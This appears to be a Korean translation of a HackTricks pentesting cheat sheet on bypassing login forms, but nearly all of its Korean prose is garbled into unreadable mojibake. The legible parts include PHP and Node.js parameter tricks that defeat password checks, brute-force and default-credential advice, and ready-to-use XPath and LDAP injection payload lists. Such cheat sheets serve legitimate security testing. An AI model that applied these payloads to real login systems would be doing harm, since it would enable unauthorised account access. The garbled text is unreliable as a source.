๋ก๊ทธ์ธ ์ฐํ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ ์ ๋ก๊ทธ์ธ ์ฐํ
๋ก๊ทธ์ธ ํ์ด์ง๋ฅผ ์ฐพ์ผ๋ฉด, ์ด๋ฅผ ์ฐํํ๊ธฐ ์ํด ์๋ํ ์ ์๋ ๋ช ๊ฐ์ง ๊ธฐ์ ์ด ์์ต๋๋ค:
- ํ์ด์ง ๋ด ์ฃผ์ ํ์ธ (์๋๋ก ์คํฌ๋กคํ๊ณ ์ค๋ฅธ์ชฝ์ผ๋ก?)
- ์ ํ๋ ํ์ด์ง์ ์ง์ ์ ๊ทผํ ์ ์๋์ง ํ์ธ
- ๋งค๊ฐ๋ณ์๋ฅผ ์ ์กํ์ง ์๊ธฐ (์๋ฌด๊ฒ๋ ์ ์กํ์ง ์๊ฑฐ๋ 1๊ฐ๋ง ์ ์ก)
- PHP ๋น๊ต ์ค๋ฅ ํ์ธ:
user[]=a&pwd=b,user=a&pwd[]=b,user[]=a&pwd[]=b - ๋ด์ฉ ์ ํ์ json์ผ๋ก ๋ณ๊ฒฝํ๊ณ json ๊ฐ์ ์ ์ก (bool true ํฌํจ)
- POST๊ฐ ์ง์๋์ง ์๋๋ค๋ ์๋ต์ ๋ฐ์ผ๋ฉด GET ์์ฒญ์ผ๋ก ๋ณธ๋ฌธ์ JSON์ ์ ์กํด ๋ณผ ์ ์์ต๋๋ค:
Content-Type: application/json - nodejs์ ์ ์ฌ์ ํ์ฑ ์ค๋ฅ ํ์ธ (์ฝ๊ธฐ ์ด๊ฒ):
password[password]=1 - Nodejs๋ ํด๋น ํ์ด๋ก๋๋ฅผ ๋ค์๊ณผ ์ ์ฌํ ์ฟผ๋ฆฌ๋ก ๋ณํํฉ๋๋ค:
SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1;์ด๋ ๋น๋ฐ๋ฒํธ ๋นํธ๋ฅผ ํญ์ true๋ก ๋ง๋ญ๋๋ค. - JSON ๊ฐ์ฒด๋ฅผ ๋ณด๋ผ ์ ์๋ค๋ฉด
"password":{"password": 1}์ ์ ์กํ์ฌ ๋ก๊ทธ์ธ์ ์ฐํํ ์ ์์ต๋๋ค. - ์ด ๋ก๊ทธ์ธ์ ์ฐํํ๋ ค๋ฉด ์ฌ์ ํ ์ ํจํ ์ฌ์ฉ์ ์ด๋ฆ์ ์๊ณ ์ ์กํด์ผ ํ๋ค๋ ์ ์ ๊ธฐ์ตํ์ธ์.
mysql.createConnection์ ํธ์ถํ ๋"stringifyObjects":true์ต์ ์ ์ถ๊ฐํ๋ฉด ๋งค๊ฐ๋ณ์๋กObject๊ฐ ์ ๋ฌ๋ ๋ ๋ชจ๋ ์๊ธฐ์น ์์ ๋์์ ์ฐจ๋จํ ์ ์์ต๋๋ค.- ์๊ฒฉ ์ฆ๋ช ํ์ธ:
- ์ฌ์ฉ ์ค์ธ ๊ธฐ์ /ํ๋ซํผ์ ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช
- ์ผ๋ฐ ์กฐํฉ (root, admin, password, ๊ธฐ์ ์ด๋ฆ, ์ด๋ฌํ ๋น๋ฐ๋ฒํธ ์ค ํ๋๋ฅผ ๊ฐ์ง ๊ธฐ๋ณธ ์ฌ์ฉ์).
- Cewl์ ์ฌ์ฉํ์ฌ ์ฌ์ ์ ๋ง๋ค๊ณ ๊ธฐ๋ณธ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ(์๋ ๊ฒฝ์ฐ)๋ฅผ ์ถ๊ฐํ ํ ๋ชจ๋ ๋จ์ด๋ฅผ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ก ์ฌ์ฉํ์ฌ ๋ฌด์ฐจ๋ณ ๋์ ์๋
- ๋ ํฐ ์ฌ์ ์ ์ฌ์ฉํ์ฌ ๋ฌด์ฐจ๋ณ ๋์ (๋ฌด์ฐจ๋ณ ๋์ )
SQL ์ธ์ ์ ์ธ์ฆ ์ฐํ
๋ค์ ํ์ด์ง์์๋ SQL ์ธ์ ์ ์ ํตํด ๋ก๊ทธ์ธ์ ์ฐํํ๊ธฐ ์ํด ์๋ํ ์ ์๋ ์ฌ์ฉ์ ์ ์ ๋ชฉ๋ก์ ์ฐพ์ ์ ์์ต๋๋ค:
No SQL ์ธ์ ์ ์ธ์ฆ ์ฐํ
NoSQL ์ธ์ ์ ์ ๋งค๊ฐ๋ณ์ ๊ฐ์ ๋ณ๊ฒฝํด์ผ ํ๋ฏ๋ก ์๋์ผ๋ก ํ ์คํธํด์ผ ํฉ๋๋ค.
XPath ์ธ์ ์ ์ธ์ฆ ์ฐํ
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
LDAP Injection ์ธ์ฆ ์ฐํ
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
Remember Me
ํ์ด์ง์ โRemember Meโ ๊ธฐ๋ฅ์ด ์๋ ๊ฒฝ์ฐ, ๊ทธ๊ฒ์ด ์ด๋ป๊ฒ ๊ตฌํ๋์ด ์๋์ง ํ์ธํ๊ณ ์ด๋ฅผ ์ ์ฉํ์ฌ ๋ค๋ฅธ ๊ณ์ ์ ํ์ทจํ ์ ์๋์ง ํ์ธํ์ธ์.
Redirects
ํ์ด์ง๋ ์ผ๋ฐ์ ์ผ๋ก ๋ก๊ทธ์ธ ํ ์ฌ์ฉ์๋ฅผ ๋ฆฌ๋๋ ์ ํฉ๋๋ค. ๊ทธ ๋ฆฌ๋๋ ์ ์ ๋ณ๊ฒฝํ์ฌ Open Redirect๋ฅผ ์ ๋ฐํ ์ ์๋์ง ํ์ธํ์ธ์. ์ฌ์ฉ์๋ฅผ ๊ทํ์ ์น์ฌ์ดํธ๋ก ๋ฆฌ๋๋ ์ ํ๋ฉด ์ผ๋ถ ์ ๋ณด(์ฝ๋, ์ฟ ํค ๋ฑ)๋ฅผ ํ์น ์ ์์์ง๋ ๋ชจ๋ฆ ๋๋ค.
Other Checks
- ๋ก๊ทธ์ธ ๊ธฐ๋ฅ์ ์ ์ฉํ์ฌ ์ฌ์ฉ์ ์ด๋ฆ์ ์ด๊ฑฐํ ์ ์๋์ง ํ์ธํ์ธ์.
- ๋น๋ฐ๋ฒํธ/๋ฏผ๊ฐํ ์ ๋ณด ์์ ์
๋ ฅ์์ ์๋ ์์ฑ์ด ํ์ฑํ๋์ด ์๋์ง ํ์ธํ์ธ์:
<input autocomplete="false">
Automatic Tools
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


